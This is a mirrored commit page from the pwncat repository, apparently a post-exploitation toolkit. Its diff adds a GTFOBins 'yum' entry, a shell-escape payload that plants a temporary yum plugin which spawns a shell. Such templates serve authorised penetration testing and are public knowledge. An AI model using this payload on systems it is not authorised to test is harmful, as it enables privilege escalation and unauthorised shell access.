1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Moved gtfobins.json to the right location.

This commit is contained in:
Caleb Stewart 2020-05-29 04:32:31 -04:00
parent 140bf19935
commit b46ec274a2
2 changed files with 7 additions and 2139 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2095,8 +2095,13 @@
}
],
//-------------------------------------------------------------------
// `yum` should be added.
// https://gtfobins.github.io/gtfobins/yum/
"yum": [
{
"type": "shell",
"payload": "TF=$({mktemp} -d); {cat} >$TF/x<<EOF\n[main]\nplugins=1\npluginpath=$TF\npluginconfpath=$TF\nEOF\n\n{cat} >$TF/y.conf<<EOF\n[main]\nenabled=1\nEOF\n\n{cat} >$TF/y.py<<EOF\nimport os\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n os.execl('{shell}','{shell}')\nEOF\n\n{command} -c $TF/x --enableplugin=y",
"args": []
}
],
//-------------------------------------------------------------------
"zip": [
{